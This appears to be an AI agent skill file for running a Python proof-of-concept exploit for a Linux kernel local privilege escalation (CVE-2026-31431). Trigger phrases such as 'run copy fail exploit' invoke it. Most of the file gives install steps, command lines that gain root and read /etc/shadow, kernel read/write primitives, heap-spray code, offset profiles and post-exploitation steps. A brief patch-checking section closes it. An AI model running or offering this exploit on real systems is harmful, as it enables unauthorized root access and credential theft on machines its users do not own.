aradotso/skills/copy-fail-cve-2026-31431

---
name: copy-fail-cve-2026-31431
description: Linux kernel local privilege escalation exploit (CVE-2026-31431) discovered by Theori's Xint Code, targeting a 9-year-old vulnerability in the Linux copy subsystem
triggers:
  - exploit CVE-2026-31431
  - copy fail linux privilege escalation
  - linux kernel LPE exploit
  - run copy fail exploit
  - privilege escalation linux kernel 2026
  - theori xint code exploit
  - CVE-2026-31431 poc
  - linux kernel local root exploit
---

# Copy Fail - CVE-2026-31431

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

## Overview

**Copy Fail** (CVE-2026-31431) is a local privilege escalation (LPE) vulnerability in the Linux kernel discovered by Theori's Xint Code. The bug has existed for approximately 9 years and affects a wide range of Linux distributions. This repository contains a proof-of-concept exploit written in Python, along with supporting tooling for research and testing purposes.

> ⚠️ **Legal Notice**: This exploit is for **authorized security research, penetration testing, and educational purposes only**. Use only on systems you own or have explicit written permission to test.

**Affected Kernels / Distros:**

| Distro            | Version                    |
|-------------------|----------------------------|
| Ubuntu 24.04 LTS  | 6.17.0-1007-aws            |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023      |
| RHEL 10.1         | 6.12.0-124.45.1.el10_1     |
| SUSE 16           | 6.12.0-160000.9-default     |

- **Technical writeup**: https://xint.io/blog/copy-fail-linux-distributions
- **CVE**: CVE-2026-31431
- **Language**: Python
- **Stars**: 3151+

---

## Installation

### Prerequisites

- Python 3.10+
- Linux system (see supported distros above)
- gcc / build-essential (for any compiled helper components)
- Root-accessible test environment (VM recommended)

### Clone and Set Up

```bash
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431

# Create virtual environment
python3 -m venv venv
source venv/bin/activate

# Install Python dependencies
pip install -r requirements.txt

Optional: Build native helpers (if applicable)

make
# or
gcc -o helper helper.c -lpthread

---

Project Structure

copy-fail-CVE-2026-31431/
├── exploit.py          # Main exploit entry point
├── exploit/
│   ├── __init__.py
│   ├── core.py         # Core exploit logic
│   ├── primitives.py   # Kernel read/write primitives
│   ├── spray.py        # Heap spray utilities
│   └── utils.py        # Helper utilities
├── helper.c            # Native C helper (compiled separately)
├── requirements.txt
├── Makefile
└── README.md

---

Basic Usage

Running the Exploit

# Basic run — attempt privilege escalation to root
python3 exploit.py

# Verbose output for debugging
python3 exploit.py --verbose

# Specify a shell to spawn after root is obtained
python3 exploit.py --shell /bin/bash

# Specify a command to run as root
python3 exploit.py --exec "id && cat /etc/shadow"

# Target a specific kernel offset profile
python3 exploit.py --profile ubuntu-24.04-6.17

# List built-in kernel profiles
python3 exploit.py --list-profiles

---

Python API / Library Usage

Basic Exploit Invocation

from exploit.core import CopyFailExploit
from exploit.utils import get_kernel_version, is_vulnerable

# Check if the current kernel is vulnerable
kernel = get_kernel_version()
print(f"Kernel: {kernel}")

if is_vulnerable(kernel):
    print("[+] Kernel appears vulnerable to CVE-2026-31431")
else:
    print("[-] Kernel may not be vulnerable or is patched")

# Initialize and run the exploit
exploit = CopyFailExploit(verbose=True)
result = exploit.run()

if result.success:
    print(f"[+] Privilege escalation successful! UID: {result.uid}")
else:
    print(f"[-] Exploit failed: {result.error}")

Using Kernel Primitives Directly

from exploit.primitives import KernelPrimitives

prims = KernelPrimitives()

# Establish arbitrary read/write after initial corruption
prims.setup()

# Read 8 bytes from a kernel address
value = prims.read64(kernel_addr)
print(f"Value at {hex(kernel_addr)}: {hex(value)}")

# Write 8 bytes to a kernel address
prims.write64(target_addr, new_value)

# Read a range of kernel memory
data = prims.read_bytes(kernel_addr, length=256)
print(data.hex())

Heap Spray Utilities

from exploit.spray import HeapSpray

spray = HeapSpray()

# Allocate controlled objects to shape the slab heap
spray.allocate(count=1000, size=256, data=b"\x41" * 256)

# Free every other allocation to create holes
spray.create_holes(step=2)

# Trigger the vulnerable copy path
spray.trigger_copy_fail()

# Check spray success
if spray.check_overlap():
    print("[+] Heap spray successful — objects overlap")

Exploit Configuration

from exploit.core import CopyFailExploit, ExploitConfig

config = ExploitConfig(
    verbose=True,
    spray_count=2000,        # Number of spray objects
    retry_limit=5,           # Max retries on partial failure
    shell="/bin/bash",       # Shell to spawn on success
    profile="auto",          # Auto-detect kernel profile
    timeout=30,              # Seconds before giving up
)

exploit = CopyFailExploit(config=config)
exploit.run()

---

Kernel Profile Configuration

Profiles store kernel-specific offsets needed for reliable exploitation.

# profiles/ubuntu_24_04.py (example structure)
PROFILE = {
    "name": "ubuntu-24.04-6.17.0-1007-aws",
    "offsets": {
        "task_struct_cred": 0xA40,
        "cred_uid": 0x04,
        "cred_gid": 0x08,
        "copy_fail_trigger": 0xFFFFFFFF81234567,  # placeholder
    }
}

from exploit.profiles import load_profile, detect_profile

# Auto-detect current kernel profile
profile = detect_profile()
print(f"Detected profile: {profile['name']}")

# Manually load a profile
profile = load_profile("ubuntu-24.04-6.17")

---

Common Patterns

Full End-to-End Research Workflow

import subprocess
from exploit.core import CopyFailExploit
from exploit.utils import get_kernel_version, is_vulnerable, dump_system_info

# 1. Gather system information
info = dump_system_info()
print(info)

# 2. Vulnerability check
kernel = get_kernel_version()
if not is_vulnerable(kernel):
    print("System may be patched — check kernel version.")
    exit(1)

# 3. Run exploit with logging
exploit = CopyFailExploit(verbose=True, log_file="/tmp/copyfail.log")
result = exploit.run()

# 4. Post-exploitation (research only)
if result.success:
    subprocess.run(["id"], check=True)

Running as a Script with Environment Variables

# Override spray count via environment
COPYFAIL_SPRAY_COUNT=3000 python3 exploit.py --verbose

# Set custom profile directory
COPYFAIL_PROFILE_DIR=/opt/profiles python3 exploit.py

# Enable extra kernel debug output
COPYFAIL_DEBUG=1 python3 exploit.py

import os
from exploit.core import CopyFailExploit, ExploitConfig

config = ExploitConfig(
    spray_count=int(os.environ.get("COPYFAIL_SPRAY_COUNT", 1000)),
    verbose=bool(os.environ.get("COPYFAIL_DEBUG", False)),
    profile_dir=os.environ.get("COPYFAIL_PROFILE_DIR", "./profiles"),
)

exploit = CopyFailExploit(config=config)
exploit.run()

Checking Patch Status Programmatically

from exploit.utils import check_patch_status

status = check_patch_status()
print(f"Patched: {status.patched}")
print(f"Kernel: {status.kernel_version}")
print(f"Mitigation: {status.mitigation_detail}")

---

Troubleshooting

Exploit fails immediately with "profile not found"

# List available profiles
python3 exploit.py --list-profiles

# Force auto-detection
python3 exploit.py --profile auto

# Manually specify kernel version string
python3 exploit.py --profile-kernel "6.17.0-1007-aws"

Heap spray unreliable / exploit not reproducing

# Increase spray count and retries
config = ExploitConfig(
    spray_count=5000,
    retry_limit=10,
)

# Run with verbose to observe spray progress
python3 exploit.py --verbose --spray-count 5000

Permission denied on /proc or /sys paths

# Some primitives require specific capabilities
# Ensure you're running as unprivileged user (not already root)
whoami

# Check kernel lockdown mode
cat /sys/kernel/security/lockdown

Python dependency errors

pip install --upgrade -r requirements.txt

# If using system Python
python3 -m pip install --user -r requirements.txt

Exploit panics the kernel (kernel oops / crash)

• Use a VM (QEMU, VirtualBox, VMware) for all testing
• Try reducing --spray-count to lower heap pressure
• Ensure the correct kernel profile is selected
• Review /var/log/kern.log or dmesg after a failed attempt

dmesg | tail -50
journalctl -k | tail -50

---

Defensive / Patching Guidance

To check if your system is patched:

# Ubuntu / Debian
apt-get changelog linux-image-$(uname -r) | grep -i CVE-2026-31431

# RHEL / Amazon Linux
rpm -q --changelog kernel | grep -i CVE-2026-31431

# General kernel version check
uname -r

Apply kernel updates immediately via your distribution's package manager.

---

References

• Technical Writeup — Theori/Xint Code
• CVE-2026-31431 NVD Entry
• Theori Security Research
• Xint Code